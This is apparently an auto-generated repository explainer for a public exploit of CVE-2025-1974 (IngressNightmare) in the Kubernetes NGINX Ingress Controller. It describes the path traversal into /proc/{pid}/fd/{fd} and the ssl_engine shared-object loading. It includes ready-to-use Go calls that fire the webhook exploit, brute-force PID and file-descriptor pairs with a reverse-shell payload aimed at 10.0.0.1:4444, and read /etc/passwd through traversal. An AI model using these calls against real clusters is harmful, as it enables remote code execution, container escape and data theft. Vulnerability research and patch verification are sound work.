How IngressNightmare Exploits Path Traversal via `/proc/{pid}/fd/{fd}` in CVE-2025-1974

IngressNightmare abuses a directory traversal vulnerability in the NGINX Ingress Controller's admission webhook by injecting paths like ../../../../../../proc/1/fd/3 that resolve to arbitrary file descriptors via procfs, enabling remote code execution through NGINX's ssl_engine directive.

The IngressNightmare exploit (CVE-2025-1974) demonstrates a critical container escape vulnerability in Kubernetes environments by leveraging Linux procfs file descriptor resolution. This attack, implemented in the esonhugh/ingressnightmare-cve-2025-1974-exps repository, manipulates the NGINX Ingress Controller's validation logic to traverse out of temporary directories and execute malicious shared objects through /proc/{pid}/fd/{fd} symlinks.

How the Path Traversal Exploit Works

IngressNightmare exploits a directory traversal bug in the admission webhook validation logic of the NGINX Ingress Controller. When processing webhook requests, the controller fails to sanitize file paths adequately, allowing attackers to escape the temporary directory sandbox and reference arbitrary file descriptors on the host system.

The attack chain operates through five distinct phases:

  1. Payload Injection: The attacker sends a crafted JSON payload to the webhook URL, replacing the foobar placeholder in nginx-ingress/validate.json with a traversal string like ../../../../../../proc/1/fd/3.

  2. Path Construction: The ValidateWebHook function in nginx-ingress/exploit.go constructs the malicious URL using fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd), embedding it into the validation configuration.

  3. NGINX Configuration Injection: The webhook embeds the traversal path into a temporary NGINX configuration file, inserting the path as an argument to the ssl_engine directive: ssl_engine /proc/1/fd/3;.

  4. Procfs Symlink Resolution: When NGINX attempts to load the SSL engine, the kernel resolves the /proc/{pid}/fd/{fd} symlink, which points to any open file descriptor of any process on the node, bypassing standard filesystem permission checks.

  5. Arbitrary Code Execution: The malicious shared object (danger.so) loaded from the file descriptor executes its init_module routine, granting the attacker code execution within the NGINX pod context.

Technical Implementation in IngressNightmare

The ValidateWebHook Function

The core traversal logic resides in nginx-ingress/exploit.go. The ValidateWebHook function dynamically constructs directory traversal strings that escape six directory levels before reaching the procfs interface:

evilUrl := fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd)

This string exploits the controller's temporary file handling by climbing out of the sandbox directory (tempXXX) and accessing the host's process file descriptors. The function then posts this payload to the admission webhook endpoint, where it replaces the foobar placeholder in the validate.json template.

Crafting the Malicious Payload

The nginx-ingress/payload.go file generates the malicious shared object payloads (reverse shells, bind shells, or raw execution) compiled into nginx-ingress/danger.so. When NGINX processes the ssl_engine directive containing the procfs path, it loads this shared object as a custom SSL engine module, triggering immediate execution of the embedded payload.

Brute-Forcing PID and FD Pairs

Since specific process IDs and file descriptors vary across target systems, the Exploit function implements a brute-force scanner that iterates through configurable ranges of PIDs and FDs:

nginx_ingress.Exploit(
    "https://ingress-controller.example.com/validate",
    "https://ingress-controller.example.com/upload",
    payload,
    0, 10,  // fd range: start at 0, scan 10 handles
    1, 20,  // pid range: start at 1, scan 20 processes
)

The tool concurrently uploads the malicious .so file and attempts different pid/fd combinations until the webhook validation succeeds, indicating successful code injection.

Exploitation Code Examples

Direct Webhook Invocation with Procfs Path

To exploit a specific known file descriptor, use the ValidateWebHook function with targeted PID and FD values:

url := "https://ingress-controller.example.com/validate"
pid := 1   // Targeting host init process
fd := 3    // File descriptor holding malicious .so

err := nginx_ingress.ValidateWebHook(url, fd, pid)
if err != nil {
    log.Fatalf("Exploit failed: %v", err)
}
log.Println("Exploit succeeded – code injected!")

This approach works when the attacker knows or can predict which process holds an open handle to the malicious shared object.

Automated Brute-Force Exploitation

For unknown environments, use the full Exploit routine to scan ranges automatically:

payload := nginx_ingress.NewReverseShellPayload("10.0.0.1", "4444")
nginx_ingress.Exploit(
    "https://ingress-controller.example.com/validate",
    "https://ingress-controller.example.com/upload",
    payload,
    0,  50,  // Scan file descriptors 0-49
    1,  100, // Scan process IDs 1-100
)

The function continuously uploads danger.so through the optional upload endpoint while testing each pid/fd combination against the validation webhook until successful injection occurs.

General Path Traversal for Information Disclosure

To exploit the traversal vulnerability for reading arbitrary files without procfs:

nginx_ingress.OnlyAdmissionRequest(
    "https://ingress-controller.example.com/validate",
    "../../../../../../etc/passwd",
)

This demonstrates the broader impact of the directory traversal beyond procfs exploitation, allowing access to sensitive host filesystem paths.

Summary

  • IngressNightmare exploits CVE-2025-1974 through directory traversal in the NGINX Ingress Controller admission webhook
  • The attack uses ../../../../../../proc/{pid}/fd/{fd} paths to escape temporary directories and access arbitrary file descriptors via procfs
  • The ValidateWebHook function in nginx-ingress/exploit.go constructs the traversal payload that replaces the foobar placeholder in validate.json
  • NGINX's ssl_engine directive loads the malicious danger.so shared object from the procfs symlink, executing attacker-controlled code
  • The Exploit function automates brute-forcing of PID and FD ranges to locate accessible file descriptors across different target configurations

Frequently Asked Questions

What is /proc/{pid}/fd/{fd} and why does it enable exploitation?

/proc/{pid}/fd/{fd} is a special symbolic link in the Linux procfs filesystem that points to the actual file represented by a specific file descriptor in a specific process. This mechanism bypasses standard filesystem access controls because the kernel resolves the descriptor directly, regardless of the original file's permissions or location. IngressNightmare exploits this to access files that the NGINX process otherwise could not reach through normal path resolution.

How does the ssl_engine directive facilitate code execution?

The ssl_engine directive in NGINX configuration specifies a shared object library that implements a custom SSL engine. When NGINX encounters this directive during configuration testing (nginx -t), it attempts to load the specified library immediately. By providing a procfs path to a malicious shared object (danger.so) generated by nginx-ingress/payload.go, the attacker forces NGINX to execute arbitrary code within its privileged process context.

Why doesn't the admission webhook sanitize the path traversal strings?

According to the source code in nginx-ingress/exploit.go, the admission webhook validation logic in vulnerable versions of the NGINX Ingress Controller performs insufficient input validation on the supplied file paths. The controller accepts the malicious ../../../../../../proc/1/fd/3 string and embeds it directly into the temporary NGINX configuration without checking for directory traversal sequences or validating that the path remains within the intended temporary directory.

Can this exploit work without knowing the specific PID and file descriptor?

Yes, the IngressNightmare implementation includes brute-force capabilities through the Exploit function that iterates over ranges of process IDs and file descriptors. Since the malicious shared object must remain open in a file descriptor to be accessible via procfs, the tool continuously attempts different combinations until it finds a valid reference, making the attack viable even without prior knowledge of the target system's specific process layout.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →